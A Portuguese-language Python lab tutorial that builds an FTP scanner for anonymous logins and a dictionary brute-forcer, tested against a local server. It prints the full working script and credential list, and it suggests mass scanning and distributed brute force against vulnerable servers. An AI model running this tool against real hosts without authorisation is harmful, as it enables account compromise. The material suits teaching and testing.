Scanner de Senhas Fracas FTP Usando Python

PythonBeginner
Pratique Agora

Introdução

Este projeto começa com a implementação de um scanner de senhas fracas para FTP usando Python, proporcionando uma introdução às técnicas de teste de penetração em Python. O experimento envolve a compreensão dos princípios dos servidores FTP, o uso da biblioteca ftplib e outros conhecimentos relacionados.

  1. Compreensão de servidores FTP: Aprenda sobre servidores FTP, seu propósito e como funcionam.
  2. Usando a biblioteca FTPlib: Utilize a biblioteca ftplib em Python para implementar um scanner FTP anônimo e um cracker de senhas por força bruta.
  3. Usando a biblioteca argparse: Aprenda a lidar com argumentos de linha de comando usando a biblioteca argparse em Python.
  4. Configurando um servidor FTP no Ubuntu: Siga as instruções para configurar um servidor FTP localmente para fins de teste.

Este projeto é de dificuldade moderada e é adequado para usuários com uma compreensão básica de Python. É uma boa oportunidade para aprimorar e solidificar seus conhecimentos dos fundamentos do Python e obter experiência prática em técnicas de teste de penetração em Python.

👀 Pré-visualização

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456

[+] 127.0.0.1 FTP Login successful: admin:123456

[+] Host: 127.0.0.1 Username: admin Password: 123456

[*]-------------------Scan End!--------------------[*]

🎯 Tarefas

Neste projeto, você aprenderá:

  • Como entender os princípios de funcionamento dos servidores FTP
  • Como usar a biblioteca ftplib em Python para implementar um scanner FTP anônimo
  • Como implementar um cracker de senhas por força bruta para servidores FTP usando um dicionário de senhas
  • Como lidar com argumentos de linha de comando usando a biblioteca argparse
  • Como configurar um servidor FTP no Ubuntu para fins de teste

🏆 Conquistas

Após concluir este projeto, você será capaz de:

  • Interagir com servidores FTP usando Python
  • Implementar a verificação de logins anônimos e senhas fracas
  • Lidar com argumentos de linha de comando em Python
  • Configurar um servidor FTP no Ubuntu

Servidor FTP

Um servidor FTP (File Transfer Protocol Server) é um computador que fornece serviços de armazenamento e acesso a arquivos na Internet, seguindo o protocolo FTP. FTP significa File Transfer Protocol, que é um protocolo especificamente projetado para transferência de arquivos. Em termos simples, um servidor que suporta o protocolo FTP é um servidor FTP.

FTP é um serviço baseado exclusivamente em TCP e não suporta UDP. O que diferencia o FTP é que ele usa duas portas, uma porta de dados e uma porta de comando (também conhecida como porta de controle). Tipicamente, essas duas portas são 21 (porta de comando) e 20 (porta de dados). No entanto, a porta de dados nem sempre é 20, dependendo do modo de operação do FTP. Esta é a principal diferença entre FTP ativo e passivo. Existem principalmente dois modos de operação:

  • FTP Ativo (Active FTP)

    A porta de controle do servidor FTP é 21, e a porta de dados é 20. Portanto, ao configurar o mapeamento estático, apenas a porta 21 precisa ser aberta. O servidor iniciará uma conexão com o cliente usando a porta 20.

  • FTP Passivo (Passive FTP)

    A porta de controle do servidor é 21, e a porta de dados é atribuída aleatoriamente. O cliente inicia a conexão com a porta de dados correspondente, portanto, não é suficiente abrir apenas a porta 21 para mapeamento estático. Nesse caso, uma DMZ (Demilitarized Zone) é necessária.

Neste projeto, o desenvolvimento de um scanner FTP se concentra nos dois aspectos a seguir:

  1. Verificação de FTP anônimo

    A verificação de logins FTP anônimos é usada principalmente em verificações em lote. A taxa de sucesso de verificar um único servidor FTP é relativamente baixa, mas ainda é possível ter sucesso. Alguns podem se perguntar, ainda existem pessoas que não definem senhas? Muitos sites ainda oferecem serviços FTP para que os usuários baixem recursos, por isso não é surpreendente que logins anônimos sejam permitidos. O que é ainda mais surpreendente é que os administradores de sites abrem logins FTP anônimos para a conveniência de atualizar o software de acesso ao site. Isso nos oferece muitas oportunidades, especialmente ao atacar o último tipo de servidor, que é vulnerável a ataques. No futuro, explicarei como obter um shell após encontrar páginas da web em diretórios FTP.

  2. Verificação de senhas FTP fracas

    A verificação de senhas FTP fracas é essencialmente força bruta (brute-forcing). Por que não chamamos de força bruta? Porque estamos apenas verificando algumas combinações de senhas simples, não todas as combinações possíveis. Além disso, não temos tanto tempo para força bruta, considerando que não viveremos por milhares de anos! É apenas uma senha. Se não conseguirmos encontrar senhas fracas, podemos seguir em frente. Por que ficar fixado em uma flor quando existem inúmeras outras no mundo? No entanto, se você realmente gosta deste servidor FTP, ensinarei outras maneiras de penetrar em servidores no futuro!

Implementação do Scanner FTP Anônimo

Neste caso, usaremos a classe FTP da biblioteca ftplib em Python. A classe FTP implementa a maioria das funcionalidades de um cliente FTP, como conectar-se a um servidor FTP, visualizar arquivos no servidor, fazer upload e download de arquivos, etc. Em seguida, definiremos a função anonScan(hostname) para implementar a verificação de servidores FTP que permitem login anônimo. O código é o seguinte:

## Anonymous login scanner
def anonScan(hostname):                 ## The parameter is the hostname
    try:
        with FTP(hostname) as ftp:      ## Create an FTP object
            ftp.login()                 ## FTP anonymous login
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") ## If no exception is raised, it means login succeeded
            return True
    except Exception as e:              ## If an exception is raised, it means anonymous login failed
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

O código é conciso, e os comentários explicam o significado do código. Aqui está a ideia geral desta função: primeiro, construímos um objeto FTP (chamado ftp) usando o hostname. Em seguida, chamamos a função login() sem nenhum parâmetro neste objeto ftp para iniciar um login anônimo no servidor FTP. Se nenhuma exceção for levantada durante o processo de login, significa que o login anônimo foi bem-sucedido; caso contrário, significa que o login anônimo falhou.

Verificação de Senhas Fracas em FTP

A verificação de senhas fracas em FTP depende de um dicionário de nomes de usuário e senhas. Em nosso ambiente experimental, ~/project/pwd.txt será fornecido como o dicionário de senhas.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

Em seguida, criaremos um arquivo de código ftpScanner.py no diretório ~/project para implementar a verificação de senhas fracas FTP, em relação ao formato no dicionário. O código é o seguinte:

## Bruteforce cracking
def vlcLogin(hostname, pwdFile):                ## Parameters (hostname, dictionary file)
    try:
        with open(pwdFile, 'r') as pf:          ## Open the dictionary file
            for line in pf.readlines():         ## Read each line in the dictionary file
                time.sleep(1)                   ## Wait for 1 second
                userName = line.split(':')[0]   ## Extract the username from the read content
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Extract the password from the read content
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Create an FTP object with the hostname as parameter
                        ftp.login(userName, passWord)   ## Log in to the FTP server using the extracted username and password
                        ## If no exception is raised, the login is successful, print the hostname, username, and password
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## If an exception is raised, it means the login was not successful, we continue trying other usernames and passwords
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

Este trecho de código percorre o dicionário para ler nomes de usuário e senhas e tenta fazer login. Se o login for bem-sucedido, significa que o nome de usuário e a senha foram encontrados. A função define o hostname como uma string que pode ser separada por ",". Encontrar uma senha não encerra o programa, mas continua verificando senhas fracas em outros hosts até que todos os hosts tenham sido verificados.

Análise de Linha de Comando

Até agora, nosso scanner FTP está quase completo. O código não é longo e é bastante simples. Agora, o que precisamos fazer é tornar nosso script capaz de lidar com entradas da linha de comando para controlar quais hosts verificar. Para lidar com argumentos da linha de comando, usaremos a biblioteca argparse em Python. Esta biblioteca é um módulo embutido no Python e torna a análise da linha de comando muito simples. Vamos testemunhar o poder do argparse observando o seguinte código:

## Creating an ArgumentParser object using a description
parser = argparse.ArgumentParser(description='FTP Scanner')
## Adding the -H command, where dest refers to the variable name we use to retrieve the value passed after -H, and help provides the help information for this command
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

Ao usar a biblioteca argparse para analisar argumentos da linha de comando, podemos gerar automaticamente um documento de ajuda com base na palavra-chave help fornecida ao adicionar argumentos. O resultado se parece com isto:

python3 ftpScanner.py -h

usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file

Ao lidar com comandos complexos, o poder do argparse se torna ainda mais aparente. Como este é um recurso básico do Python, não entrarei em muitos detalhes sobre as bibliotecas incluídas no Python.

Integração de todo o código

O código básico foi implementado e agora só precisamos integrar o código acima. O código é o seguinte:

from ftplib import *
import argparse
import time

## Anonymous login scan
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!")
            return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
        return False

## Brute force attack
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: ' + hostName + ' Can anonymously!')
        elif pwdFile != None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password != None:
                print('\n[+] Host: ' + hostName + 'Username: ' + username + \
                      'Password: ' + password)

    print('\n[*]-------------------Scan End!--------------------[*]')

if __name__ == '__main__':
    main()

Com isso, nosso código está completo. Com algumas modificações, podemos tornar este scanner ainda mais poderoso. Por exemplo, os nomes de host podem ser especificados dentro de um intervalo para realizar a verificação em larga escala ou o código pode ser modificado para implementar ataques de força bruta distribuídos em nomes de usuário e senhas FTP, aumentando a capacidade do dicionário e melhorando muito a taxa de sucesso.

Configuração do Servidor FTP

Em seguida, precisamos configurar um servidor FTP localmente para testar nosso scanner. Aqui, usaremos a biblioteca pyftpdlib em Python para configurar o servidor FTP. pyftpdlib é uma biblioteca Python para servidores FTP que pode ser usada para construir rapidamente um servidor FTP. A instalação do pyftpdlib é muito simples, basta usar o comando pip. Digite o seguinte comando no terminal para instalar a biblioteca pyftpdlib:

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

Por padrão, o login anônimo é permitido.

Teste de Verificação (Scanning Test)

Agora que nosso ambiente foi configurado, podemos prosseguir para testar nosso scanner de senhas fracas FTP.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 FTP Anonymous login successful!
Host: 127.0.0.1 Can be accessed anonymously!

[*]-------------------Scan End!--------------------[*]

Neste teste, focamos principalmente no login anônimo. Quanto à força bruta para quebrar senhas fracas, você pode encontrar seu próprio dicionário de senhas e tentar invadir o servidor FTP.

Agora, tentamos adicionar uma senha ao servidor FTP e testá-lo novamente. Primeiro, precisamos parar o servidor FTP e reiniciá-lo com uma senha.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456

[+] 127.0.0.1 FTP Login successful: admin:123456

[+] Host: 127.0.0.1 Username: admin Password: 123456

[*]-------------------Scan End!--------------------[*]

Resumo

Este projeto implementa um scanner de senhas fracas FTP, utilizando os seguintes pontos-chave:

  1. Conceitos básicos de servidores FTP
  2. Implementação passo a passo de um scanner de senhas fracas FTP usando FTPlib
  3. Análise de argumentos de linha de comando usando argparse
  4. Métodos para configurar um ambiente de teste.
✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar✨ Verificar Solução e Praticar